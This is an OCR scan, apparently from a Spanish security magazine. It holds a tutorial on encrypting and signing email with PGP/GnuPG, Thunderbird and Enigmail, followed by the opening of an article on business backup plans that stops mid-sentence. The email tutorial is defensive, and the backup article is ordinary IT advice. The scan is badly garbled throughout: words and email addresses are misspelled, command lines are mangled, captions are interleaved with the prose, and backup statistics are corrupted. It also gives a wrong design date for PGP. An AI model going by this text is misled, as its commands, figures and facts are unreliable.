que las simétricas. Un tamafo minimo
para una clave es de 1024 bits, frante a
los 128 de las claves simétricas. Final-
mente, &l mensap cifrado ocupa mas
espacio que el original.

La criptografia de clave publica
tiena sentido en comunicaciones
asincronas, como el comec elec-
trénlco, y muy especialmenta, para
@l intercambio de claves simétricas
en sesiones aseguradas con clave
privada. Un ejemplo muy notable es
el protocolo SSL (Secure Sockels
Layer) empleado en comunicacio-
nes seguras entre servidores WWeb
y navegadores. El certificado apor-
tado por el servidor contiene la clave
publica que s& usa para cifrar la cla-
ve privada usada en la conexidn. La
utilizacién de criptografia asimétrica
@n una conexidn sincronizada como
ésta es inaceptable por su lentitud.

Breve historia
de PGP y GPG
Prelty Good Privacy o PGP es un
pregrama  desarrollado  por Phil
Zimmermann y cuya finalidad es
proteger la informacion distribuida
a fravés de Internet mediante el uso
de criptografia de clave publica, asi
como facilitar la auterticacién de do-
cumentos gracias a firmas digitales.
PGF onginalmente fue disefiado
y desamollade por Phil Zimmermann
an 1981, El nombre esta inspirado en

el del colmado Ralph's Pretty Good
Grocery de Lake VWobegon, una ciu-
dad ficticia inventada por el locutor
de radio Garrison Keillor.

El programa podia obtenerse de
manera gratuita. Aungue Zimmer-
man indicd gue ninguna parte del
codigo de PGP podia distribuirse
fuera de los Estados Unidos, pronio
estuvo disponible en el extranjero,
al publicarse por Internet. Después
de un informe de la empresa RSA
Data Security, Inc., empresa con la
gue ftenia una disputa respecto al
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usc del algoritmo criptografico RSA
en PGP, se inicid una investigacion
scbre Zimmermann per una posible
violacion de la ley de exportacion de
software de cifrade de Estados Uni-
dos. La investigacién durd tres afos,
hasta principios de 1996. Finalmente
la acusacion fue retirada ¥ el caso se
archivd sin cargos.

Después de que el gobierno
estadounidense retirase los cargos,
Zimmerman fundd en 1998 la em-
presa PGP Inc. ¥ lanzd una nueva
versién de PGP y de otros produc-
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Las opciones del ment OpenGFG de Thunderbird, une vez que
se ha instalado Enigmail y el paguete de lenguaje para espafiol
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Figura 6. Las opciones de configuracion OpenPGF para la cuenta de

gjemplo hakind_testil yahoo. as
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tos relacionados. La compafia fue
adquirida por Network Associates
Inc. en diciembre de 1997 y Zim-
merman permanacid ligado a la em-
presa durante fres afos como socio
mayoritario. NAl decidid en 2002
eliminar la linea de productos PGP,
¥ el software fue adquiride por una
nueva empresa llamada PGP Cor
poration. Zimmerman pasd a ocupar
el cargo de consajero y consultor de
esta firma. Zimmermann actualmen-
te es, ademas, el presidente de la
OpenPGP Alliance.

La IETF se¢ ha basado en el
disefio de PGP para crear sl es

tandar de Intermet OpenPGF Las
ultimas wersiones de PGP son
conformes o compatibles en mayor
o menor medida con ese estandar.
El Gnu Privacy Guard (GnuPG o
GPG) es un software libre que im-
plementa OpenPGF inicialmente
fue desarrcllado por Werner Koch.
La versidn 1.0.0 fue lanzada &l 7 de
soptiembre de 1999. El Ministeno
de Economia y Tecnologia del
Gobierno Aleman financid la docu-
mentacién y la versidn a Microsoft
Windows en el afo 2000. Hoy en
dia, GPG es el software criptogra-
fico distribuido de manera esténdar
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Figura 7. La ventana Adminisirar claves OpenPGFP, que da acceso & las
funciones de creacidn, revocacidn, descargs de servidores, efc
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Figura 8. Subiendo la clave pdblice de hakin®_lest@yahoo.es al servidor

de Rediris por medio de la mterfaz Web
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en las familias de sistemas operati-
vos *“BSD y Linux.

GPG soporta y utiliza los princi-
pales algaritmos de clave asimétrica,
incluyendo RS54, D54 o EIGamal, los
de clave simétrica como el 3DES, y
los algoritmos de resumen o hash
(necesarios para la firma) mas im-
portantes, coma MOS y SHA-T.

Instalacién y
configuracion de

Mozilla Thunderbird

El primer paso para asegurar al
corren electronico es la instalacion
¥ configuracidn de un cliente de co-
rreo, a ser posible, libre. El software
libre tiene una ventaja manifiesta en
el ambito de la segundad, y es que
esta expuesto al examen detallado
por parte de todos los expertos, v si
resiste sus ataques, es generalmen-
te mas fiable que el software propie-
tario. Este dltimo basa parte de su
fuerza en la ccultacion, una tactica
que s& ha probado que no es preci-
saments resistente a los ataques.

En aste articulo utilizamos Mozi-
lla Thunderbird, wno de los dientes
de correo libres mas populares, sen-
cillos y potentes. Como el navegador
Mezilla Firefox, admite |a instalacién
de paguetes adicionales que aumen-
tan sus funcicnalidades, en forma de
extensiones XP/.

El primer paso es descargar la Oiti-
ma version del software para Microsoft
Windows desde la Mozilla Foundation.
La version para este sistema operati-
V0 58 proporciona como un instalador
grafico paso a paso, en el que se
puede eleger la instalacidén estandar
o avanzada. La primera es suficiente
para nuestros propdsitos. Durante la
instalacion, se pueden importar los
datos da las cuentas almacenados an
ofros clientes habituales en las plata-
formas Microsoft Windows, especial-
mente los de Microsoft Dutiook.

La configuracidn de Thundebird
as un proceso relativamente simple.
Para demastrarla, hemos creado una
cugnta de corres en Yahoo!, con la
direccién haking_test@yahoo.es En
esta cuenta s& ha habilitado el acce-
s0 POF por medio de la interfaz Web
proparcionada por el Correc Yahaoao!.
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Para poder configurar esta cuenta
on Thunderbird, es preciso conocer
las direcciones de los servidores de
correo antranté para descarga POP
(Post Office Protocol), ¥ de cormeo
saliente para envio SMTF (Simple
Mail Transfer Protocol) que en Co-
rrea Yahoo! son pop.comeo. yahoo.es
¥y smip.correo.yahoo.es respectiva-
mente.

El Asistente de cuentas se inicia
|a primera vez que s& ejecuta Thun-
derbird (aunque es posible acceder
a &l en el mend Herramignfas, op-
cien Configurecidn de las cuentas,
boton Afdadir cuenta..). Los pasos
detallados son los siguientes:

* 3Se selecciona Cuenis de correo
electrdnico,

*+ Se introducen el nombre del
usuario y la direccion de comeo
electrénico,

+ Se elige el tipo de servidor de
correa entrante (POP o IMAP) y
se introduce su direccion,

* 5o introduce la direccion del ser-
wirdnr da rnrran ealianta SMTF:

= Se introducen los nombres de
usuario para comeo entrante,
comeo salente, y nombre de la
cuenta en Thunderbird. Como
es posible mantener varias, este
nombre actia como identificador
de la cuenta,

+  Sefinaliza la configuracion selec-
cienando fipicamente la opcidén
de Descargar mensajes ahora, y
pulsando finalizar

Si todo ha ido bien, el cliente solici-
tard la contrasefia para descargar el
correo electrénico, vy se descarga-
rin los mensajes disponibles en la
cuenta. En la Figura 3 se muesira
la ventana principal de Mozilla Thun-
derbird, en el que se ha creado la
cuenta hakind_testf@yshoo.es, y se
ha descargado el mensaje de bien-
venida del Comeo Yahoo!.

Mezilla Thunderbird incorpora
opciones de seguridad por defecto,
Por un lado, las opciones basicas
de seguridad de cada cuenta estan
disponibles en la ventana Configu-
racidén de las cuentas, accesibles
en el menu MHerramientas, opcion

Configuracién de cuenfas. Estas op-
ciones s centran especialmente en
la seleccidén de los certificados para
firma y cifrado. Por otro lado, las
apciones ganerales de seguridad se

encuentran en la pestafia Segundad
de la opcidn Privacidad, en la venta-
na de Opciones, accesible desde el
mend Herramientas. Estas opciones
permiten la gestidn general de carti-

~
Listado 1. El cerfifficado de revocacidn generado para el par de claves

asociado & la cuenta haking®_test@yahoo es

yersion

Comment: A revocation cer
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=—===END PGP FUSLIC KEY BLOCK=====

Listado 2. Correo electrdnico con la orden add para subir la clave
publice asociada cuenta hakin®_test@ yahoo.es &l servidor de Redirs
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Listado 3. Exfracto de un mensaje de correo elecirdnico enviado por el
usuario haking_test@yahoo.es al usuario jmgomer@uem.es. que ha
=ido cifredo usando I8 clave plblica de esfe Gitimo. El mensaje contiene
el mismo texto que el de la Figura 10, excepio el contenido del asunto

From: hakind testByaboo.es

e Auen, 6

Subject: Frueba de mensaje cifrado

F 0 L M S W O
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mmmanZHD PGP MEZZASE=====
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ficados (administracion, revocacion,
etc ). Todas estas opciones de se-
guridad se mejoran a través de la
extensidn Enigmail para el acceso
grafico a las funciones de GPG.

Instalacion g
configuracion de Gnu
Privacy Guard
El siguiente paso es la instalacién y
configuracién de GnuPG. Este soft-
ware se puede descargar en su ver
sion binaria para Microsoft Windows,
como un instalador paso a paso.
Antes de instalar el software, con-
viene hacer una copia de seguridad
de la versién anterior {si se hubiese
instalado GPG o PGF anteriormen-
te). En particular, s hacer una copia
de seguridad de las claves secretas
propias del usuano (secrng.gpg), de
las claves pdblicas proplas de ofros
usuarios, recolectadas con el paso
del tiempo (pubring gpg), de la base
de datos de relaciones de confianza
(trustab.gpg). ¥ del archivo de configu-
racidn (gpg.conf). En el caso de GPG,
S8 encuentran en su dmectono base o
home, accesibles en la linea xose al
BjecUtar jog ——ersieo. Tambidn as
preciso efiminar la copsa anterior de
GPG y las entradas en el registro. Pa-
ra ello, se efimina el directorio de ins-
talacion de GPG y se ejecutan, en una
ventana cmd, las drdenes siguientes;

La instalacion de GPG se realiza
a través de un asistente disponible
en inglés o aleman, En este asis-
tente: se selecciona el idioma del
instalador; se acepls la licencis; se
eligen las componentes a instalar
(tipicaments todas), el idioma del
pregrama, el directorio de instalacién
{es recomendabla mantenar el direc-
torio por defecto: C:lArchivos de
programalGNG\GnuPG), v la car-
peta del mend de Inicio de Microsoft
‘Windows donde se hara accesible.
Una ver instalado, es buena
idea hacer los programas de la suite
disponibles an el PATH de Microsoft

Windows. Para ello, se modifica la
variable de entormno PATH incluyen-
do el valor C:AArchivos de programal
GNG\GnuPG en ella. Esta variable
es accesible en el icono Sistema
del Panel de Control, dentro de las
Opciones avanzaedas. en &l botdn
Variables de entorno, v el cuadro
Variables dal sistemna.

Para comprobar que la instala-
cion s& ha realizado correctaments,
se puede abrir una ventana cmd
¥ ejecutar en ella la orden opg -
-yarzlen, COMO S muestra en la
Figura 4.

Los pasos basicos de uso de
GPG son la creacion del par de cla-
ves, la difusidn de la clave publica vy
la importacebn de fas claves piblicas
de los contactos. Después de estos
pasos, &5 posible cifrar y firmar co-
rrec a voluntad. Es perfectamente
posible dar estos pasos a través de
las érdenes y opciones de GPG en
linea de ordenes, pero la extensidn
Enigmail facilita esta gestidn al per-
mitir hacerla de manera mas grafica
y amigable.

Instalacion g
conﬁguraci n de
Enigmail

Enigmail es |la extensién de Mozilla
Thunderbird disefiada para acceder
a las funcionalidades de GPG de
manera grafica y amigable. Esen-
cialmente, Enigmail incorpora un

mend a Thunderbird, que incluye las
opclones necasarias para configurar
las claves, certificados, y opciones
que parmiten cifrar y firmar mensa-
jes.

Como  cualguier extension de
Thunderbird, Enigmail se instala
desde un archivo XPI. Una vez des-
cargado al disco duro dicho archivo,
=8 accede a la opcidn Extensiones
del mend Herramienias, y se pulsa
Instala. Se selecciona el archivo a
instalar, y se reinicia Thunderbird.
Este proceso se repite para insta-
lar la extensidn del idioma espafiol
para Enigmail Una vez realizada
esta instalacion, aparece un mend
CpenPGP que incorpora las fun-
ciones de acceso a GPG desde
Thunderbird. Este mend se muestra
desplegado en la Figura 5.

La configuracién basica de Enig-
mail incluye la creacidn de las claves
iniciales para al menos una cuenta
de correo disponible en Thunderbird,
y la difusién de las claves y descarga
de las de los contactos del usuario.
Estos elementos se describen en las
préximas secciones.

Creacidn de las claves
usando el asistente

El primer par de claves se genera a
través del Asistente de configuracion
OpenPGF, que aparece la prime-
ra vez gque se accede a la opcién
Administracidn de claves del mend

Figura 9. Una parfe del grafo de actualizacién de claves entre servidores de

claves compatibles con OpenPGPF.

www. hakin®.org
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OpenPGF. A través de este asisten-
te, se especifican las opciones mas
generales e inmediatas de configu-
racién, incluysnda:

« 5i se desea firmar y cifrar los
mensajes por defecio.

* 5i se desea cambiar algunas
opciones por defecto de Thunde-
bird para que GPG trabaje mejor.
La mis relevante es el uso de
HTML o sélo texto en los menss-
jes, siendo la mas recomendable
la segunda.

+ Cusal es la frase clave que se
utiliza para proteger el par de cla-
ves a generar para la cuenta de
correo seleccionada. Por defecto
58 crea un sisiema de claves de
2048 bits, y valido para cinco
afios, que son las opciones mas
corrnentes y satisfactorias para la
mayoria de usuarnos.

* 5Si se desea crear un certificado
de revocacion para el par de cla-
ves o no, ¥y en caso de hacerlo,
dénde reside.

Respecto a fa longitud de la clave,
es posible fijarla en valores distintos
sl no se utiliza el asistents, sino que
s& genera desde el administrador de
claves del mend OpenPGF. La longi-
tud de la clave es un aspecto impor
tante en la seguridad. Por un lado, a
claves mds largas, mayor seguridad.

Sin embargo, una clave mas larga
no garantiza nunca la seguridad,
sélo hace mas lento el proceso de
ruptura de la misma. Por otro lade,
cuanto mas larga sea la clave, mas
tiempo conllevan las operaciones de
cifrado y descifrade. Es mas, con
longitudes de clave muy largas, es
posible que los usuarios de PCs an-
tiguos no puedan verificar nuestras
firmas o cifrar mensajes destinados
a nosotros. Es preciso llegara un
compromise entre seguridad y efi-
ciencia, que estd razonablemente
equilibrade en torno a longitud por
defecto de 2048 bits.

Las claves privada y publica es-
tan protegidas por una frase clave o
passphrase. Hay que resaltar que no
se ftrata de una palabra clave, sino
de una frase De nuevo, su longitud
es nuestra proteccion. Cuanto mas
larga sea la frase clave, mas le cos-
tara a un atacante acceder a nues-
tras claves aunque haya obtenide
una copia. La frase debe ser larga
y facil de recordar, por lo que se
pueden usar programas especificos
como Dice (dado) que nos ayudan a
construir frases nemotacnicas.

El certificado de revocacidn es
esencial, Cuando la clave pablica se
sube a un servidor de claves para su
difusién, se convierte de manera au-
tomatica en nuestra garantia de pri-
vacidad e identidad. Si alguien logra
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Figura 10. Ventana de redaccidn de mensajes y cuadro de didglogo de

Opciones de cifrado

acceder a nuestra clave privada en
un descuido, |a totalidad de nuestras
comunicaciones estd comprometida.
La unica manera de prolegemos es
revocar las claves antericres, cosa
que es imposible si no se dispone
del certificado de revocacion. No
s0lo debemos guardar a buen recau-
do nuestra clave publica, sino que
debemos proteger también el certi-
ficado de revocacion, porque usado
por un atacante, le permite revocar
nuestras claves y reemplazarias en
un servider de claves para suplantar-
nos. El certificado de revocacion se
guarda en un archive de sélo texto
(extensidn ASC), como el mostrado
en el Listado 1.

Las opciones de
configuracion OpenPGP
La instalacidn de Enigmail hace
aparecer una nueva entrada en las
opciones de configuracion de la
cusntas de correo, accesible en la
opcion Configuracidn de las cuenfas
del mend Herramientas. La nueva
opciin  se denomina Segurdad
OpenFPGF, vy concentra las opcio-
nes de configuracién de OpenPGP
asociadas a la cuenta de correo. Por
ello, cada cuenta fiene sus opclones.
También da acceso a |as opciones
generales para todas las cuentas.
Las opciones de configuracién
para una cuenta aparecen en la Fi-
gura 6 En ella se puede observar,
entre ellas, las siguientes opciones:

* 5i se desea activar el soporte
OpenPGP para la cuenta.

+ Cudl es el identificador de clave
OpenPGP asociado a la cuenta.
Pueden existir miltiples claves,
cada una asociada a una cuen-
ta.

* Las opciones predeterminadas
de redaccion de mensaes (uso
de firma y de cifrado por defec-
to).

* Los contenidos de la cabecera
OpenPGP que se incluird en las
firmas, ¥ que puede contener el
identificador de la clave pdblica y
la URL para la recuperacidn de la
clave. Esto (ltimo garantiza que
cualquier usuario que reciba un

wwiw. hakin®.org
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cormes firmado, sabra a donde
referirse para descargar la clave
piblica y verificar la firma, s lo
desea.

A través del botdn Avanzadas..., se
accede a las opciones de configura-
cién independientes de cada cuenta,
Se incluyen, por ejempla, la ruta de
los programas GPG, el Hempo de
caché de la frase clave, las URLs
de los servidores de claves, efc. La
mayoria de estas opciones pueden
dejarse en sus valores por defecto.

Difundiendo

la clave publica

Cuando un usuario ha creado su par
de claves, debe difundir su clave po-
blica. De esta manera, otros USuarios
podran verficar la firma de sus men-
sajes ¥y enviarle al &l o ella mensajes
cifrados. Las maneras mas usuales
para difundir la clave son:

¢ Hacer la clave plblica accesible
en un sitio Web del usuario. La
URL de acceso se pusde difundic
an ka firma de texto de los mensa-
jes de corren, en la propia pagina
Web, etc. En este caso, conviens
que el acceso a la pagina Web
sdlo lo pueda reakzar el usuario,
pero s& debe recordar que el
compromizo de la clave publica
so6lo causa inconvenientes (la ne-
cesidad de volver a subirla s un
hacker la ha reemplazado), peno
no rompe el sistama mientras la
clave privada esté a buen recau-
do.

¢ Usar un servidor de claves para
su difusidn. Esta es una opcidn
muy sensata, porque permite
que la comunidad de usuarios
de GPG y PGP tenga un acceso
rapido a la clave. Se puede subir
al servidor mas cercano, y este
la transmitird a los servidores
da claves PGPIGPG de todo al
munde, gue actian como espe-
jos.

Para esta segunda opcién, conviens
acceder a la opcidn de Administracion
de claves en &l mend OpenPGF En la
ventana Administrarclaves OpenPGFP,

que se muasira en la Figura 7, se dis-
pone da las opoiones necesarnas para
generar claves, subirlas a servidones,
revocarias, buscar y obtener claves
de contactos, efc.

La manera mas directa para subir
la clave publica GPG del usuario a
un servidor compatible es utilizar
la opcidén Subir claves publicas del
ment Servidor de claves, opcidn que
se activa cuando una clave de la que
el usuario es propletaro estd selec-
cionada, en la ventana Administrar
claves OpenPGF. En el cusdro
amargents Selecconar sarvidor de
claves, se puede elegir uno de los
drsponibles en sl mend desplagable,
como pgp.mit.edu o subkeys pgp.net
5i dessamos utilizar un servidor que
no esté presente en esta lista, hay
que incluiro previamente, Es intere-
sante dar de alta en las cpcicnes el
servidor de claves estandar en Espa-
fia, pge. redins es, que es el cperade
por Rediris. Para ello, se accede a la
ventana Preferencias de OpenPGFP,
que aparece fras seleccionar la
opcidn  Preferencies del menu
OpenPGF de Mozilla Thunderbird.
En la pestafia Bdsica, se incorpora
el servidor deseado en el campo de
texto Servidores de claves.

Existen ofras maneras de subir
una clave piblica o actualizaria,
como utilizar interfaces \Web o de
cofreo electrdnico a los servidoras
que dispongan da ellas. Para ello,
se exporta la clave pdblica en primer
lugar, utilizando la opcidén Exportar
claves a un fichero del mend Archi-
vo, en la ventana Administrar claves
CpenPGF Una vez guardada en un
archivo, se puede acceder a un for-
mulario Web si el servidor de claves
dispone del mismo, y copiar la clave
en él. En la Figura 8 se muestra co-
mo se ha copiado la clave pdblica
asociada a hakin®_tesi@yahoo.es
en al formularie Web del servider
de claves de Rediris También se
puede acceder a deterrmnados
sarvidores por medio de Ardenes
a través de correo electrdnico. En
el Listado 2 se muestra el aspecto
dal correo electrénico preparado
para subir la clave asociada a ha-
kin8_testi@yahoo. es al servidor de
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Rediris, usando la orden &dd (en el
Subject: del mensaje).

Una wez subida la clave a un
sarvidor de claves, en relativamenta
poco tempo esta se difunde a los
demas servidores, siguiendo el grafo
de transmisién del que e muesira
un fragmente en la Figura 9. Por
tanto, no @s preciso repetir esta ope-
racidn con otros servidores, Por otra
parte, las operaciones necesanas
para realizar la revocacién, una vez
se dispone del certificade de revo-
cacién (Como es nuestro caso), son
muy similares a las realizadas para
subir la clave publica.

Citrar y descifrar

Es asombrosamente simple cifrar
un correa electrénico, puesto gue
Enigmail esconde las complejidades
del rabajo en linea de drdenes con
GnuPG.

Supongamos gque el usuano
de correc hakind_fest@yahoo.es
desea enviar un mensaje cifrado al
usuario  jmgomez@uem.es.  Para
ello, el primers debe disponer de
la clave plblica del segundo. El
usuario hekind_fes{ puede obtener
esta clave a través de un mensaje
proveniente de diche destinatario,
descargandola de la pagina base de
dicha persona, o més comunmente,
tras una blsqueda en un sarvidor de
claves (acoesible desde la ventana
Admurustrar claves OpenPGF. en el
mend Senidor de claves, en la op-
cion Buscar claves).

Para cifrar un mensaje que ten-
ga como destinatario a jmgomez,
el usuario hakin®_fes{ sdlo debe
redactar el mensaje como lo reali-
zaria habitualmente, pero activando
la opcién de cifrado de mensaje en
la propia ventana de redaccién, Es-
ta opcidn es accesible en el mend
OpenPGF, y en el icono OpenPGP
de la ventana de redaccién. Si se
pulsa scbre el icono, aparece un
cuadro de didloge Opciones de
cifrado... en el que se seleccicna
la opcidn deseada. Este cuadro se
muestra en la Figura 10.

Una de las facilidades que pro-
perciona Enigmail es que, si la clave
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del destinatario estd disponible en
nuesiro conjunto de claves (que
en la nomenclatura CpenPGP se
denomina anillo de claves), no es
preciso hacer nada mas para cifrar
el mensaje. De este modo. el usua-
rio hakind_test pulsa enviar una vez
gue ha redactado el mensaje y acti-
vado la opcion de cifrado, v &l men-
saje sa codifica automidticamenta
como se muestra en el Listade 3.
Sigue siendo posible interceptar el
mensaje, pero sélo el destinatario
podra examinar su contenido, al
ser el dnico poseedor de la clave
privada asociada a la clave plblica
gue el uswano ha usado para cifrar
el mensaje.

Firmar y verificar

electrénico

La simplicidad en el cifrado tam-
bién se hace patente en la firma
de mensajs, gracias a la exten-
sidn Enigmail. Supongamos que,
come en el caso anterior, el usua-
rio  haking_test@yshoo.es desea
enviar un mensap@ al usuaro
jmgomezi@uem.es, pero en este
caso, firmade. Para ello, sélo debe
abrir la ventana de redaccion, pre-
parar ol mensap (que para nuestro
ajempio, es el mismo que el anteriar
variando el contenido del asunto del
mensaje, &5 decir, ol de la Figura
10), y seleccionar la opcidn de fir-
mado. A continuacién, el wsuario
pulsa enviar y el mensaje se firma y
envia a su destinatario. El contenido
de este mensaje firmado se muestra
en el Listado 4.

La prncipal diferencia con el
ejemple anterior es que ahora se
emplea la clave privada del usuario
remitents, en este caso, haking_test.
De este modo, el destinatario puede
descifrar la firma del mensaje usan-
do la clave piblica de hakind_fest
y contrastar la validez del mensaje,
Para poder acceder a su propia
clave privada, el usuario hakind_fest
debera infroducir [a frase clave que la
protege. Puede darse el caso de que
al usuaria haya firmado otro mensaje
recientemente y la frase clave per
manezca en caché, y en este caso,

no se le solicitard dicha frase. El
tiempo de cache por defecto es de
5 minutos, ¥ es bastante razonable
para la mayoria de UsUarios.

Modelo de gestion de
confianza en GPG
Supongames que disponemos de la
clave plblica asociada a la cuenta
de correo de una persona, llamada
Alicia. Con esa clave podemes en-
viar mensajes cifrados a Alicia, con
la seguridad de que sélo ella podra
examinar su contenido. También
podemas comprobar la veracidad de
un mensaje emitide por Alicia, exa-
minanda ka firma asodada al misme.
Pero todo esto es posble s la clave
que Nosolros creemos que pertene-
ce a Alicia, realmente pertenece a
Alicia. Y... jcémo sabemos que esto
es asi?

Esto no es un problema técnico,
es un problema de confianza. La
manera mas directa para confiar en
una clave es que nos la entregue en
mano la persona. Obviamente, este
sisterma es poco practico, porgue
impide que nadie pueda confiar en
ofra persona sin el intercambio fisico

de claves, imposible en la mayoria
de los casos.

Los sistemas de clave publica
suelen resolver este tema haciendo
uso de una organizacion jerdrquica
de auloridades. La raiz de la jerar-
quia (la cispide) es una autoridad en
la que confian todos los agentes que
intervienen en la comunicacién. Se
trata de la Avloridad de Certificacion
(Certificale Autority, CA) raiz, de cu-
ya clave pdablica disponen todos los
agentes, y que se usa para firmar las
claves plblicas de los interlocutores.
Si un usuario confia en una CA con-
creta, y dispone de su clave pdblica,
puede verificar que la clave de Alicia
pertenece a Alicia, examinando si
esta firmada correctamente por la
CA.

La cadena de confianza se orga-
niza de manera jerarquica. La auto-
ridad raiz se certifica a si misma, y
cerfifica a sus subordinadas inferio-
res atribuyéndoles las capacidades
adecuadas (en particular, les puede
negar la capacidad para certificar a
una nueva autoridad dependiente
de ellas). De este modo, un usuario
confia en la clave de Alicia porque

=====EHD B

Listado 4. Un mensaje de correc electrdnico enviado por el usuario
haking_fest@yahoo.es al usuario jmgomez@uem.es, que ha sido
firmado usando la usando la clave privada del primero. El mensaje
confiene el mismo texte que el de la Figura 10
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Plan de copias

de seguridad
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Las copias de seguridad son un seguro de vida para nuestra
negocio. Debldo a la creciente dependencia de los datos en
formato electrénico, y a la gran cantidad de percances que
pueden sufrir éstos, un plan de copias de seguridad sdlido nos
ayudara a mantener la continuidad de nuestra empresa.

egin un articulo del USA TODAY, los
negocios de Estados Unidos perdie-
ron en 2003 unos 18 mil millcnes de
délares debido a las perdidas de datos. Aun-
que es de suponer que 4 afos después, las
cifras habrén aumentado bastante
En una estadistca dsl Bosfon Computing
Network se saca a relucir [a imponancia de los
datos para las smpresas:

= El 83% do las compafias que pierden su
datacentsr durante 10 diss o mis delbsdo a
algin desastre van a la bancamota on me-
ros de un afa. €1 50% de esas companias
cierran inmediatamenie,

s El 34% de las compafilas no prosban sus
copias des seguridad. De las qus ko hacen,
# TT% han encontrado problemas

Agnn WATOS 08 apmplos qub endencian las
diferencias existentes en cuanio a las causas
de perdidas de datos. Segun ln empresa de
copas de segurdad onling Databarracks

* TO% Hardware,
= 11% Ervor Hurrang,
» 7% Comupcdn del sciteans,

wwres Rakind arg

o % Virus,
= 1% Desastros naturales.

En cambio segdn Stellar information Sysfems
empresa dedicada a la recuperaciin de datos

3% Error Humrana,

Z5% Cormupmdn del software,
2% Virus,

1¥% Error de hardware,

5% Sabolaps,

2% Dosasires naturales.

En este articulo aprenderas...

+ Arelscionar s copiss o8 segurded com la oone
Srnidad del negec,

+ ConabIaraceones # I CreRciin de un plan de
copas o pegunded

*  Fases ool chclo g wids de un plan de copias de
aaguiidad

Lo que deberias saber...

Ko s requisren conocimienics previos pars
comprenside del ariculy,




Copias de seguridad

Sea por la causa que sea, lo que es-
ta claro es que practicamente todas
las empresas pierden datos alguna
vez en su vida.

A pesar de las posibles pérdidas
siempre hay que tener claro el obje-
tivo de los planes de copias, y no es
ofro que la continuidad del negacio.

Para asegurarnos que &l plan de
copias cumple el cbjetvo, lo mejor
es basarse en un analisis de riesgos
previo,

Este analisis de riesgos nos pro-
porciona la visidn clara de que necesi-
tamos copiar y lo importante que es.

Desde el punto de vista del coste
de la inversidn tenemos que recordar
que los sisternas de seguridad no
deben exceder el coste de lo que se
intenta proteger.

Esta claro, que muchas veces la
dificil es saber exactamente cuanto
valen nuestros datos. Por ello los
planes de copias de seguridad
deberdn cumplir sus funciones sin
excederse en el presupuesto,

En la parte restante versmos
como la implantacion y el buen uso
de un plan de copias no esuna tarea
sencilla, se tienen que considerar
muchos factores. implantar contro-
les, documnentar, etc.

Contar con una BmMPresa es-
pecializada nos proporcionard una
EXpEMENCA ¥ UNDS FECUrs0s que
posiblemente no tangamos o no

estemos dispuesios a consaguir por
nuestros medios. Pomsblaments sea
la Unica forma de conseguir un plan
de coplas de seguridad que cumpla
su funcidn, damos tranquilidad,

Ciclo de vida

de un plan de copias

Los sistemas informaticos no son
algo perenne, que sa disele una
vez ¥ siga siendo valido por toda la
etwernidad. Los planes de copia de
seguridad deben ser alge vive, adap-
tandosa y previniendo los cambios
que s& produzcan en la compania.
5i optamos por esta postura de
prensién evitaremos los problemas
en vez de solucionarlos.

Planificacidén

La fase de planificacién es la mas
importante de cualquier proyecto, si
realizamos una buena planificacién
todo ira sobre ruedas

Lo primera que debemos tener
claro es qué necesitamos copiar y
por qué, es decir a qué proceso de
negocio soportan esos datos.

Y la mejor manera es hablar con
los uswarios de los sistemas, ellos
s0n quienes usan los datos y saben
que es importante para su trabajo.

El por qué no es: tengo folos que
me han enviado mis amigos y no
quiero perderlas. A no ser que seas
el jefe claro

Causes of data loss

Matural disagter 1%

Hargwang of syshem
malfunction T6%

Matural disaster 1%

Wirus 2%

.

Figura 1. Las principales causas de perdida de dalos

Deberia ser: los datos conteni-
dos en esta base datos son necesa-
rics para gue nos podamos poner en
contacts con nuestros praveedores
y clientes. Sin esios dates no pode-
mos continuar trabajando.

Algunas fuentes opinan que los
usuarios siempre tenderdn a seguir
el primer ejemplo, dando preferen-
cia a las fotos que les envian sus
amigos frente a los datos realments
necesarios. Me parece una visidn
un tanto pesimista, aunque si real-
menta tenemos ese temor al realizar
un plan de seguridad existen mane-
ras de evitar ese comportamionto.
Mediante una serie de preguntas
objetivas sobre el trabajp que realiza
y un estudio del flujo de los procesos
de la empresa podemos decidir qué
&5 importante y qué no lo es.

Por supuesto eso es incremen-
tar de manera notable la carga de
trabajo para la realizacidn del plan
Asi que ser posible, usaremos enfre-
vistas con los uswarios para conocer
los datos a copiar,

Nata: Cuando hablo de usuarios
no me rafiero Gnicamente al usuano
final del equipo, ya que Incluyo desde
el usuario que trabaja directamente
con los datos al misme gerente de
la empresa, ol también deberia saber
que necesita su empresa para confi-
nuar trabajando, pasando por los ad-
ministradores de sistemas y redes.

Una polilica de clasificacidn de
datos ayudaria mucho a decidir qué
datos son necesarios para la conti-
nuidad del negocio v si alguno tiene
necasidades especificas.

Una vez conocemos los datos a
copiar debemos conocer los sisfe-
mas enlazados a estos. No nos sirve
de nada tener los datos sin ol siste-
ma o las comunicaciones necesanas
para su uso. ;jDebemos copiarel 30
o las configuraciones de los disposi-
tivos de red como routers, firewalls,
switchs?

Cuando ya tenemos todos los
datos a copiar debemos determinar
la frecuencia de las copias. que nos
vendra dada por la frecuencia de
cambio de los datos, vy de nuevo
de esto los gque mas saben son los

usuarios.

wwiw. hakin®.org
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Dos conceptos necesarnos para
el plan de copias son la ventana de
copia, tiempo necesario para realizar
la copia de seguridad, v la ventana
de recuperacién, tiempo necesaro
para recuperar los datos y tener un
sisterna en las condiciones desea-
das para reanudar &l trabajo.

Para determinar & mejor mo-
mento an el que realizar las copias
tendremos que tener an cuenta al
uso de la red, el uso del software que
genere los datos, los horarios de los
usuarios, el iempo de copia, etc.

Los factores para decidir el hard-
ware son:

+ Capacidad,

* Fiabilidad,

+ Escalabilidad,
+  \elocidad,

+  Coste,

+ Tiempo de vida.

Con el tiempo necesario para las
dos ventanas y las caracteristicas de
nuestro hardware podremcos decidir
cual es el mejor momento para reali-
zar las copias.

Por la noche suele ser el mejor
momento para servidores, normal-
menteé nunca se apagan. En cam-
bio las estaciones de trabajo si se
suelen apagar al finalizar la jornada
labaral. Si nos vemos obligados a
copiar datos de las estaciones de
trabajo la interrupcibn para comer
puede ser un buen momento, ya
que durante esa interrupcidn, de
unas 2h mas o menos, no se suelen
apagar los equipos y deberiamos te-
ner bastante tiempo para la copia.

Existen diferentes soluciones de
copia, que podemos usar para dife-
rentes momentos, pudiendo acortar

lotcate 72

-5

)
Figura 2. Ciclo de vida de un plan
de copias

Meora

N

la ventana de copia a expensas de la
de recuperacion o al revés.

Segun la wikipedia las solucio-
nes de copia tipicamente son:

+  Copia en linea (sincrona o asincro-
na)k La copia en linea consiste en
replicar la infraestructura de alma-
cenamiento principal &n una infra-
estructura secundania. Esto s, los
discos corporativos principales se
replican generalmente en un cen-
tro de respalda. Los datos afecta-
